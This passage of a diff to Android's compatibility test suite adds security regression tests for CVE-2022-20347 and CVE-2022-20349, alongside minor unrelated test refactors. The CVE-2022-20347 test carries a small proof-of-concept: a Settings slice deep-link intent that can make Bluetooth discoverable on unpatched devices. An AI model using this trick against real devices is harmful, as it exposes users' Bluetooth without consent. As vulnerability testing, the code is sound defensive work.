+    </application>
+    <instrumentation
+        android:name="androidx.test.runner.AndroidJUnitRunner"
+        android:targetPackage="android.security.cts.CVE_2022_20347" />
+</manifest>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2022-20347/res/values/integers.xml b/hostsidetests/securitybulletin/test-apps/CVE-2022-20347/res/values/integers.xml
new file mode 100644
index 00000000000..403ca4dbe23
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2022-20347/res/values/integers.xml
@@ -0,0 +1,24 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  Copyright 2022 The Android Open Source Project
+
+  Licensed under the Apache License, Version 2.0 (the "License");
+  you may not use this file except in compliance with the License.
+  You may obtain a copy of the License at
+
+       http://www.apache.org/licenses/LICENSE-2.0
+
+  Unless required by applicable law or agreed to in writing, software
+  distributed under the License is distributed on an "AS IS" BASIS,
+  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  See the License for the specific language governing permissions and
+  limitations under the License.
+  -->
+
+<resources>
+    <integer name="assumptionFailure">-1</integer>
+    <integer name="disable">2</integer>
+    <integer name="enable">1</integer>
+    <integer name="success">0</integer>
+    <integer name="timeoutMs">20000</integer>
+</resources>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2022-20347/res/values/strings.xml b/hostsidetests/securitybulletin/test-apps/CVE-2022-20347/res/values/strings.xml
new file mode 100644
index 00000000000..e049d48f5d8
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2022-20347/res/values/strings.xml
@@ -0,0 +1,34 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  Copyright 2022 The Android Open Source Project
+
+  Licensed under the Apache License, Version 2.0 (the "License");
+  you may not use this file except in compliance with the License.
+  You may obtain a copy of the License at
+
+       http://www.apache.org/licenses/LICENSE-2.0
+
+  Unless required by applicable law or agreed to in writing, software
+  distributed under the License is distributed on an "AS IS" BASIS,
+  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  See the License for the specific language governing permissions and
+  limitations under the License.
+  -->
+
+<resources>
+    <string name="allowButtonResName">android:id/button1</string>
+    <string name="btAction">btAction</string>
+    <string name="className">.slices.SliceDeepLinkSpringBoard</string>
+    <string name="defaultSemaphoreMsg">Could not get message key in shared preferences</string>
+    <string name="defaultSettingsPkg">com.android.settings</string>
+    <string name="failMessage">
+    Vulnerable to b/228450811 !! Possible to make bluetooth discoverable via
+    SettingsIntelligence#SliceDeepLinkTrampoline
+    </string>
+    <string name="messageKey">message</string>
+    <string name="resultKey">result</string>
+    <string name="sharedPreferences">sharedPreferences</string>
+    <string name="uri">
+    settings://com.android.settings.slices/?slice=content://com.android.settings.slices/action/bluetooth_devices
+    </string>
+</resources>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2022-20347/src/android/security/cts/CVE_2022_20347/DeviceTest.java b/hostsidetests/securitybulletin/test-apps/CVE-2022-20347/src/android/security/cts/CVE_2022_20347/DeviceTest.java
new file mode 100644
index 00000000000..52f43c5d979
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2022-20347/src/android/security/cts/CVE_2022_20347/DeviceTest.java
@@ -0,0 +1,153 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2022_20347;
+
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assume.assumeNoException;
+import static org.junit.Assume.assumeTrue;
+
+import android.app.UiAutomation;
+import android.bluetooth.BluetoothAdapter;
+import android.content.ComponentName;
+import android.content.Context;
+import android.content.Intent;
+import android.content.SharedPreferences;
+import android.content.SharedPreferences.OnSharedPreferenceChangeListener;
+import android.content.res.Resources;
+import android.net.Uri;
+import android.provider.Settings;
+
+import androidx.test.InstrumentationRegistry;
+import androidx.test.runner.AndroidJUnit4;
+import androidx.test.uiautomator.By;
+import androidx.test.uiautomator.UiDevice;
+import androidx.test.uiautomator.Until;
+
+import org.junit.After;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.util.concurrent.Semaphore;
+import java.util.concurrent.TimeUnit;
+
+@RunWith(AndroidJUnit4.class)
+public class DeviceTest {
+    Context mContext;
+    Semaphore mPreferenceChanged;
+    UiDevice mDevice;
+
+    String getSettingsPkgName() {
+        Intent settingsIntent = new Intent(Settings.ACTION_SETTINGS);
+        ComponentName settingsComponent =
+                settingsIntent.resolveActivity(mContext.getPackageManager());
+        String pkgName = settingsComponent != null ? settingsComponent.getPackageName()
+                : mContext.getString(R.string.defaultSettingsPkg);
+        return pkgName;
+    }
+
+    int getInteger(int resId) {
+        return mContext.getResources().getInteger(resId);
+    }
+
+    @Test
+    public void testBluetoothDiscoverable() {
+        OnSharedPreferenceChangeListener sharedPrefListener;
+        SharedPreferences sharedPrefs;
+        boolean btState = false;
+        try {
+            BluetoothAdapter btAdapter = BluetoothAdapter.getDefaultAdapter();
+
+            // Save the state of bluetooth adapter to reset after the test
+            btState = btAdapter.isEnabled();
+
+            // If bluetooth is disabled, enable it and wait for start activity to complete
+            mContext = InstrumentationRegistry.getInstrumentation().getContext();
+            Intent intent = new Intent(mContext, PocActivity.class);
+            intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+            intent.putExtra(mContext.getString(R.string.btAction),
+                    BluetoothAdapter.ACTION_REQUEST_ENABLE);
+            mContext.startActivity(intent);
+
+            Resources resources = mContext.getResources();
+            sharedPrefs = mContext.getSharedPreferences(
+                    resources.getString(R.string.sharedPreferences), Context.MODE_APPEND);
+            mPreferenceChanged = new Semaphore(0);
+            sharedPrefListener = new OnSharedPreferenceChangeListener() {
+                @Override
+                public void onSharedPreferenceChanged(SharedPreferences sharedPreferences,
+                        String key) {
+                    if (key.equals(resources.getString(R.string.resultKey))) {
+                        mPreferenceChanged.release();
+                    }
+                }
+            };
+            sharedPrefs.registerOnSharedPreferenceChangeListener(sharedPrefListener);
+            assumeTrue(mPreferenceChanged.tryAcquire(getInteger(R.integer.timeoutMs),
+                    TimeUnit.MILLISECONDS));
+            int result = sharedPrefs.getInt(resources.getString(R.string.resultKey),
+                    resources.getInteger(R.integer.assumptionFailure));
+            String message = sharedPrefs.getString(resources.getString(R.string.messageKey),
+                    resources.getString(R.string.defaultSemaphoreMsg));
+            assumeTrue(message, result != resources.getInteger(R.integer.assumptionFailure));
+
+            // Checking if bluetooth is enabled. The test requires bluetooth to be enabled
+            assumeTrue(btAdapter.isEnabled());
+
+            // Launch bluetooth settings which is supposed to set scan mode to
+            // SCAN_MODE_CONNECTABLE_DISCOVERABLE if vulnerability is present
+            UiAutomation uiautomation =
+                    InstrumentationRegistry.getInstrumentation().getUiAutomation();
+            uiautomation
+                    .adoptShellPermissionIdentity(android.Manifest.permission.MODIFY_PHONE_STATE);
+            String settingsPkg = getSettingsPkgName();
+            intent = new Intent();
+            intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+            intent.setData(Uri.parse(mContext.getString(R.string.uri)));
+            intent.setClassName(settingsPkg, settingsPkg + mContext.getString(R.string.className));
+            mContext.startActivity(intent);
+            mDevice = UiDevice.getInstance(InstrumentationRegistry.getInstrumentation());
+            assumeTrue(mDevice.wait(Until.hasObject(By.pkg(settingsPkg)),
+                    getInteger(R.integer.timeoutMs)));
+            boolean isBtDiscoverable = false;
+            isBtDiscoverable =
+                    (btAdapter.getScanMode() == btAdapter.SCAN_MODE_CONNECTABLE_DISCOVERABLE);
+            uiautomation.dropShellPermissionIdentity();
+
+            // The test fails if bluetooth is made discoverable through PoC
+            assertFalse(mContext.getString(R.string.failMessage), isBtDiscoverable);
+        } catch (Exception e) {
+            assumeNoException(e);
+        } finally {
+            try {
+                // Disable bluetooth if it was OFF before the test
+                if (!btState) {
+                    Intent intent = new Intent(mContext, PocActivity.class);
+                    intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+                    intent.putExtra(mContext.getString(R.string.btAction),
+                            BluetoothAdapter.ACTION_REQUEST_DISABLE);
+                    mContext.startActivity(intent);
+                    assumeTrue(mPreferenceChanged.tryAcquire(getInteger(R.integer.timeoutMs),
+                            TimeUnit.MILLISECONDS));
+                }
+                // Go to home screen
+                mDevice.pressHome();
+            } catch (Exception e) {
+                // ignore exceptions here
+            }
+        }
+    }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2022-20347/src/android/security/cts/CVE_2022_20347/PocActivity.java b/hostsidetests/securitybulletin/test-apps/CVE-2022-20347/src/android/security/cts/CVE_2022_20347/PocActivity.java
new file mode 100644
index 00000000000..c81ea20a7d9
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2022-20347/src/android/security/cts/CVE_2022_20347/PocActivity.java
@@ -0,0 +1,103 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2022_20347;
+
+import android.app.Activity;
+import android.bluetooth.BluetoothAdapter;
+import android.bluetooth.BluetoothManager;
+import android.content.Context;
+import android.content.Intent;
+import android.content.SharedPreferences;
+import android.os.Bundle;
+
+import androidx.test.InstrumentationRegistry;
+import androidx.test.uiautomator.By;
+import androidx.test.uiautomator.UiDevice;
+import androidx.test.uiautomator.UiObject2;
+import androidx.test.uiautomator.Until;
+
+public class PocActivity extends Activity {
+
+    int getInteger(int resId) {
+        return getResources().getInteger(resId);
+    }
+
+    @Override
+    protected void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+        try {
+            String action = getIntent().getStringExtra(getString(R.string.btAction));
+            UiDevice uiDevice = UiDevice.getInstance(InstrumentationRegistry.getInstrumentation());
+            BluetoothManager bluetoothManager = getSystemService(BluetoothManager.class);
+            BluetoothAdapter bluetoothAdapter = bluetoothManager.getAdapter();
+            int code = getInteger(R.integer.enable);
+            if (action.equals(BluetoothAdapter.ACTION_REQUEST_DISABLE)) {
+                code = getInteger(R.integer.disable);
+            }
+            if ((action.equals(BluetoothAdapter.ACTION_REQUEST_ENABLE)
+                    && !bluetoothAdapter.isEnabled())
+                    || (action.equals(BluetoothAdapter.ACTION_REQUEST_DISABLE)
+                            && bluetoothAdapter.isEnabled())) {
+                Intent btIntent = new Intent(action);
+                startActivityForResult(btIntent, code);
+                // Wait for the activity to appear and the allow button
+                uiDevice.wait(Until.hasObject(By.res(getString(R.string.allowButtonResName))),
+                        getInteger(R.integer.timeoutMs));
+                // Click on the allow button
+                UiObject2 uiObject =
+                        uiDevice.findObject(By.res(getString(R.string.allowButtonResName)));
+                uiObject.click();
+            } else {
+                sendTestResult(getInteger(R.integer.success), "");
+                finish();
+            }
+        } catch (Exception e) {
+            sendTestResult(getInteger(R.integer.assumptionFailure), e.getMessage());
+        }
+    }
+
+    @Override
+    protected void onActivityResult(int requestCode, int resultCode, Intent data) {
+        try {
+            if (requestCode == getInteger(R.integer.enable) && resultCode == Activity.RESULT_OK) {
+                finish();
+                sendTestResult(getInteger(R.integer.enable), "");
+            } else if (requestCode == getInteger(R.integer.disable)
+                    && resultCode == Activity.RESULT_OK) {
+                finish();
+                sendTestResult(getInteger(R.integer.disable), "");
+            }
+        } catch (Exception e) {
+            // ignore exception here
+        }
+    }
+
+    void sendTestResult(int result, String message) {
+        try {
+            SharedPreferences sh = getSharedPreferences(getString(R.string.sharedPreferences),
+                    Context.MODE_PRIVATE);
+            if (sh != null) {
+                SharedPreferences.Editor edit = sh.edit();
+                edit.putInt(getString(R.string.resultKey), result);
+                edit.putString(getString(R.string.messageKey), message);
+                edit.commit();
+            }
+        } catch (Exception e) {
+            // ignore exception here
+        }
+    }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2022-20349/Android.bp b/hostsidetests/securitybulletin/test-apps/CVE-2022-20349/Android.bp
new file mode 100644
index 00000000000..2accd9e4dc7
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2022-20349/Android.bp
@@ -0,0 +1,39 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+android_test_helper_app {
+    name: "CVE-2022-20349",
+    defaults: [
+        "cts_support_defaults",
+    ],
+    srcs: [
+        "src/**/*.java",
+    ],
+    test_suites: [
+        "sts",
+    ],
+    static_libs: [
+        "androidx.test.core",
+        "androidx.test.rules",
+        "androidx.test.uiautomator_uiautomator",
+    ],
+    sdk_version: "current",
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2022-20349/AndroidManifest.xml b/hostsidetests/securitybulletin/test-apps/CVE-2022-20349/AndroidManifest.xml
new file mode 100644
index 00000000000..a59d1d14fd4
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2022-20349/AndroidManifest.xml
@@ -0,0 +1,35 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  Copyright 2022 The Android Open Source Project
+
+  Licensed under the Apache License, Version 2.0 (the "License");
+  you may not use this file except in compliance with the License.
+  You may obtain a copy of the License at
+
+       http://www.apache.org/licenses/LICENSE-2.0
+
+  Unless required by applicable law or agreed to in writing, software
+  distributed under the License is distributed on an "AS IS" BASIS,
+  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  See the License for the specific language governing permissions and
+  limitations under the License.
+  -->
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="android.security.cts.CVE_2022_20349"
+    android:versionCode="1"
+    android:versionName="1.0">
+    <application>
+        <receiver android:name=".PocDeviceAdminReceiver"
+            android:permission="android.permission.BIND_DEVICE_ADMIN"
+            android:exported="true">
+            <meta-data android:name="android.app.device_admin"
+                android:resource="@xml/device_policies" />
+            <intent-filter>
+                <action android:name="android.app.action.DEVICE_ADMIN_ENABLED" />
+            </intent-filter>
+        </receiver>
+    </application>
+
+   <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
+        android:targetPackage="android.security.cts.CVE_2022_20349" />
+</manifest>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2022-20349/res/values/strings.xml b/hostsidetests/securitybulletin/test-apps/CVE-2022-20349/res/values/strings.xml
new file mode 100644
index 00000000000..78fc6ccef47
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2022-20349/res/values/strings.xml
@@ -0,0 +1,26 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  Copyright 2022 The Android Open Source Project
+
+  Licensed under the Apache License, Version 2.0 (the "License");
+  you may not use this file except in compliance with the License.
+  You may obtain a copy of the License at
+
+       http://www.apache.org/licenses/LICENSE-2.0
+
+  Unless required by applicable law or agreed to in writing, software
+  distributed under the License is distributed on an "AS IS" BASIS,
+  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  See the License for the specific language governing permissions and
+  limitations under the License.
+  -->
+<resources>
+    <string name="btScanningPattern">.*bluetooth scanning.*</string>
+    <string name="btScanningTimedOut">Timed out waiting on the text \'Bluetooth scanning\' to appear
+    </string>
+    <string name="failMsg">Device is vulnerable to b/228315522 !!</string>
+    <string name="locationIntentAction">android.settings.LOCATION_SCANNING_SETTINGS</string>
+    <string name="resBtScanning">android:id/title</string>
+    <string name="setUserRestrictionFailed">Failed to set user restriction
+    UserManager.DISALLOW_CONFIG_LOCATION</string>
+</resources>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2022-20349/res/xml/device_policies.xml b/hostsidetests/securitybulletin/test-apps/CVE-2022-20349/res/xml/device_policies.xml
new file mode 100644
index 00000000000..65ce601d65f
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2022-20349/res/xml/device_policies.xml
@@ -0,0 +1,20 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  Copyright 2022 The Android Open Source Project
+
+  Licensed under the Apache License, Version 2.0 (the "License");
+  you may not use this file except in compliance with the License.
+  You may obtain a copy of the License at
+
+       http://www.apache.org/licenses/LICENSE-2.0
+
+  Unless required by applicable law or agreed to in writing, software
+  distributed under the License is distributed on an "AS IS" BASIS,
+  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  See the License for the specific language governing permissions and
+  limitations under the License.
+  -->
+<device-admin xmlns:android="http://schemas.android.com/apk/res/android">
+    <uses-policies>
+    </uses-policies>
+</device-admin>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2022-20349/src/android/security/cts/CVE_2022_20349/DeviceTest.java b/hostsidetests/securitybulletin/test-apps/CVE-2022-20349/src/android/security/cts/CVE_2022_20349/DeviceTest.java
new file mode 100644
index 00000000000..b5083e9671f
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2022-20349/src/android/security/cts/CVE_2022_20349/DeviceTest.java
@@ -0,0 +1,118 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2022_20349;
+
+import static androidx.test.core.app.ApplicationProvider.getApplicationContext;
+import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation;
+
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assume.assumeNoException;
+import static org.junit.Assume.assumeTrue;
+
+import android.app.admin.DevicePolicyManager;
+import android.content.ComponentName;
+import android.content.Context;
+import android.content.Intent;
+import android.os.UserManager;
+
+import androidx.test.runner.AndroidJUnit4;
+import androidx.test.uiautomator.By;
+import androidx.test.uiautomator.UiDevice;
+import androidx.test.uiautomator.UiObject2;
+import androidx.test.uiautomator.Until;
+
+import org.junit.After;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.util.regex.Pattern;
+
+@RunWith(AndroidJUnit4.class)
+public class DeviceTest {
+    Context mContext;
+    UiDevice mDevice;
+    DevicePolicyManager mDevicePolicyManager;
+    ComponentName mComponentName;
+    static final String USER_RESTRICTION = UserManager.DISALLOW_CONFIG_LOCATION;
+    static final int UI_TIMEOUT_MS = 5000;
+
+    String getStringRes(int key) {
+        return mContext.getResources().getString(key);
+    }
+
+    int getIntegerRes(int key) {
+        return mContext.getResources().getInteger(key);
+    }
+
+    @After
+    public void tearDown() {
+        try {
+            /* Return to home screen after test */
+            mDevice.pressHome();
+
+            /*
+             * Clear user restriction "DISALLOW_CONFIG_LOCATION" set by the test and also clear the
+             * app as device owner.
+             */
+            mDevicePolicyManager.clearUserRestriction(mComponentName, USER_RESTRICTION);
+            mDevicePolicyManager.clearDeviceOwnerApp(mContext.getPackageName());
+        } catch (Exception e) {
+            // ignore the exception as the test is already complete
+        }
+    }
+
+    @Test
+    public void testBluetoothScanningDisallowed() {
+        try {
+            mDevice = UiDevice.getInstance(getInstrumentation());
+            mContext = getApplicationContext();
+            mDevicePolicyManager =
+                    mContext.getSystemService(DevicePolicyManager.class);
+            mComponentName =
+                    new ComponentName(PocDeviceAdminReceiver.class.getPackage().getName(),
+                            PocDeviceAdminReceiver.class.getName());
+            mDevicePolicyManager.addUserRestriction(mComponentName, USER_RESTRICTION);
+            UserManager userManager = mContext.getSystemService(UserManager.class);
+            assumeTrue(getStringRes(R.string.setUserRestrictionFailed),
+                    userManager.getUserRestrictions().getBoolean(USER_RESTRICTION));
+
+            /* Start the window that contains option to toggle "Bluetooth scanning" on/off */
+            Intent intent = new Intent(getStringRes(R.string.locationIntentAction));
+            intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+            mContext.startActivity(intent);
+
+            /* Wait for the window that contains option to toggle "Bluetooth scanning" */
+            Pattern btScanningPattern = Pattern.compile(getStringRes(R.string.btScanningPattern),
+                    Pattern.CASE_INSENSITIVE);
+            boolean btScanningFound = mDevice.wait(
+                    Until.hasObject(
+                            By.text(btScanningPattern).res(getStringRes(R.string.resBtScanning))),
+                    UI_TIMEOUT_MS);
+            assumeTrue(getStringRes(R.string.btScanningTimedOut), btScanningFound);
+
+            /*
+             * Check if the toggle "Bluetooth scanning" is enabled, it is supposed to be disabled by
+             * the Device Admin in presence of fix
+             */
+            UiObject2 btScanningToggle = mDevice.findObject(
+                    By.text(btScanningPattern).res(getStringRes(R.string.resBtScanning)));
+            assertFalse(getStringRes(R.string.failMsg), btScanningToggle.isEnabled());
+        } catch (Exception e) {
+            assumeNoException(e);
+        }
+    }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2022-20349/src/android/security/cts/CVE_2022_20349/PocDeviceAdminReceiver.java b/hostsidetests/securitybulletin/test-apps/CVE-2022-20349/src/android/security/cts/CVE_2022_20349/PocDeviceAdminReceiver.java
new file mode 100644
index 00000000000..145307126e7
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2022-20349/src/android/security/cts/CVE_2022_20349/PocDeviceAdminReceiver.java
@@ -0,0 +1,22 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2022_20349;
+
+import android.app.admin.DeviceAdminReceiver;
+
+public class PocDeviceAdminReceiver extends DeviceAdminReceiver {
+}
diff --git a/tests/app/NotificationListener/Android.bp b/tests/app/NotificationListener/Android.bp
index 4c43e373ac1..adfa03df8fc 100644
--- a/tests/app/NotificationListener/Android.bp
+++ b/tests/app/NotificationListener/Android.bp
@@ -39,6 +39,5 @@ android_test_helper_app {
         "androidx.test.rules",
         "platform-test-annotations",
     ],
-    platform_apis: true,
     sdk_version: "test_current",
 }
diff --git a/tests/app/NotificationProvider/Android.bp b/tests/app/NotificationProvider/Android.bp
index 4a9d084472c..4d53ac3d205 100644
--- a/tests/app/NotificationProvider/Android.bp
+++ b/tests/app/NotificationProvider/Android.bp
@@ -27,6 +27,5 @@ android_test_helper_app {
         "general-tests",
         "sts",
     ],
-    platform_apis: true,
     sdk_version: "current",
 }
diff --git a/tests/app/app/src/android/app/stubs/OrientationTestUtils.java b/tests/app/app/src/android/app/stubs/OrientationTestUtils.java
index 3955bd0044b..dabeee72976 100644
--- a/tests/app/app/src/android/app/stubs/OrientationTestUtils.java
+++ b/tests/app/app/src/android/app/stubs/OrientationTestUtils.java
@@ -22,7 +22,6 @@ import android.app.Activity;
 import android.content.pm.ActivityInfo;
 import android.content.res.Resources;
 import android.graphics.Rect;
-import android.view.DisplayInfo;
 
 import java.util.concurrent.CountDownLatch;
 import java.util.concurrent.TimeUnit;
@@ -53,8 +52,8 @@ public class OrientationTestUtils {
     }
 
     /**
-     * Returns display original orientation and toggled orientation.
-     * @param activity context to get the display info
+     * Returns window orientation and toggled orientation.
+     * @param activity context to get the window info
      * @return The first element is original orientation and the second element is toggled
      *     orientation.
      */
@@ -70,8 +69,8 @@ public class OrientationTestUtils {
         return new int[] { originalOrientation, newOrientation };
     }
 
-    /** Checks whether the display dimension is close to square. */
-    public static boolean isCloseToSquareDisplay(final Activity activity) {
+    /** Checks whether the window dimension is close to square. */
+    public static boolean isCloseToSquareBounds(final Activity activity) {
         final Resources resources = activity.getResources();
         final float closeToSquareMaxAspectRatio;
         try {
@@ -81,10 +80,9 @@ public class OrientationTestUtils {
             // Assume device is not close to square.
             return false;
         }
-        final DisplayInfo displayInfo = new DisplayInfo();
-        activity.getDisplay().getDisplayInfo(displayInfo);
-        final int w = displayInfo.logicalWidth;
-        final int h = displayInfo.logicalHeight;
+        final Rect bounds = activity.getWindowManager().getCurrentWindowMetrics().getBounds();
+        final int w = bounds.width();
+        final int h = bounds.height();
         final float aspectRatio = Math.max(w, h) / (float) Math.min(w, h);
         return aspectRatio <= closeToSquareMaxAspectRatio;
     }
diff --git a/tests/app/src/android/app/cts/DisplayTest.java b/tests/app/src/android/app/cts/DisplayTest.java
index b81ca55b287..8f956258283 100644
--- a/tests/app/src/android/app/cts/DisplayTest.java
+++ b/tests/app/src/android/app/cts/DisplayTest.java
@@ -65,16 +65,16 @@ public class DisplayTest extends ActivityInstrumentationTestCase2<DisplayTestAct
             final Point origSize = new Point();
             origDisplay.getRealSize(origSize);
 
-                         // Change orientation
+            // Change orientation
             mActivity.configurationChangeObserver.startObserving();
             OrientationTestUtils.switchOrientation(mActivity);
 
-            final boolean closeToSquareDisplay =
-                    OrientationTestUtils.isCloseToSquareDisplay(mActivity);
+            final boolean closeToSquareBounds =
+                    OrientationTestUtils.isCloseToSquareBounds(mActivity);
 
-             // Don't wait for the configuration to change if the
-             // the display is square. In many cases it won't.
-            if (!closeToSquareDisplay) {
+            // Don't wait for the configuration to change if
+            // the display is square. In many cases it won't.
+            if (!closeToSquareBounds) {
                 mActivity.configurationChangeObserver.await();
             }
 
@@ -87,7 +87,7 @@ public class DisplayTest extends ActivityInstrumentationTestCase2<DisplayTestAct
             updatedDisplay.getRealSize(updatedSize);
 
              // For square screens the following assertions do not make sense and will always fail.
-            if (!closeToSquareDisplay) {
+            if (!closeToSquareBounds) {
                 // Ensure that the width and height of the original instance no longer are the same.
                 // Note that this will be false if the device width and height are identical.
                 // Note there are cases where width and height may not all be updated, such as on
diff --git a/tests/appsearch/Android.bp b/tests/appsearch/Android.bp
index 0194bb24fd0..c8219c9013c 100644
--- a/tests/appsearch/Android.bp
+++ b/tests/appsearch/Android.bp
@@ -24,7 +24,6 @@ android_test {
         "androidx.test.ext.junit",
         "androidx.test.rules",
         "compatibility-device-util-axt",
-        "service-appsearch",
         "testng",
     ],
     srcs: [
diff --git a/tests/appsearch/AndroidTest.xml b/tests/appsearch/AndroidTest.xml
index 245569d6c6b..ac13ee3a368 100644
--- a/tests/appsearch/AndroidTest.xml
+++ b/tests/appsearch/AndroidTest.xml
@@ -37,4 +37,7 @@
             class="com.android.tradefed.testtype.suite.module.MainlineTestModuleController">
         <option name="mainline-module-package-name" value="com.google.android.appsearch" />
     </object>
+
+    <object type="module_controller"
+            class="com.android.tradefed.testtype.suite.module.Sdk33ModuleController" />
 </configuration>
diff --git a/tests/appsearch/src/com/android/cts/appsearch/external/app/GenericDocumentCtsTest.java b/tests/appsearch/src/com/android/cts/appsearch/external/app/GenericDocumentCtsTest.java
index 0dfff00d2cd..5dd2eac0617 100644
--- a/tests/appsearch/src/com/android/cts/appsearch/external/app/GenericDocumentCtsTest.java
+++ b/tests/appsearch/src/com/android/cts/appsearch/external/app/GenericDocumentCtsTest.java
@@ -576,55 +576,6 @@ public class GenericDocumentCtsTest {
     }
 
     @Test
-    public void testNestedProperties_unusualPaths() {
-        GenericDocument doc =
-                new GenericDocument.Builder<>("namespace", "id1", "schema1")
-                        .setPropertyString("propString", "Hello", "Goodbye")
-                        .setPropertyDocument(
-                                "propDocs1",
-                                new GenericDocument.Builder<>("", "", "schema1")
-                                        .setPropertyString("", "Cat", "Dog")
-                                        .build())
-                        .setPropertyDocument(
-                                "propDocs2",
-                                new GenericDocument.Builder<>("", "", "schema1")
-                                        .setPropertyDocument(
-                                                "",
-                                                new GenericDocument.Builder<>("", "", "schema1")
-                                                        .setPropertyString("", "Red", "Blue")
-                                                        .setPropertyString(
-                                                                "propString", "Bat", "Hawk")
-                                                        .build())
-                                        .build())
-                        .setPropertyDocument(
-                                "",
-                                new GenericDocument.Builder<>("", "", "schema1")
-                                        .setPropertyDocument(
-                                                "",
-                                                new GenericDocument.Builder<>("", "", "schema1")
-                                                        .setPropertyString("", "Orange", "Green")
-                                                        .setPropertyString(
-                                                                "propString", "Toad", "Bird")
-                                                        .build())
-                                        .build())
-                        .build();
-        assertThat(doc.getPropertyString("propString")).isEqualTo("Hello");
-        assertThat(doc.getPropertyString("propString[1]")).isEqualTo("Goodbye");
-        assertThat(doc.getPropertyString("propDocs1.")).isEqualTo("Cat");
-        assertThat(doc.getPropertyString("propDocs1.[1]")).isEqualTo("Dog");
-        assertThat(doc.getPropertyStringArray("propDocs1[0]."))
-                .asList()
-                .containsExactly("Cat", "Dog")
-                .inOrder();
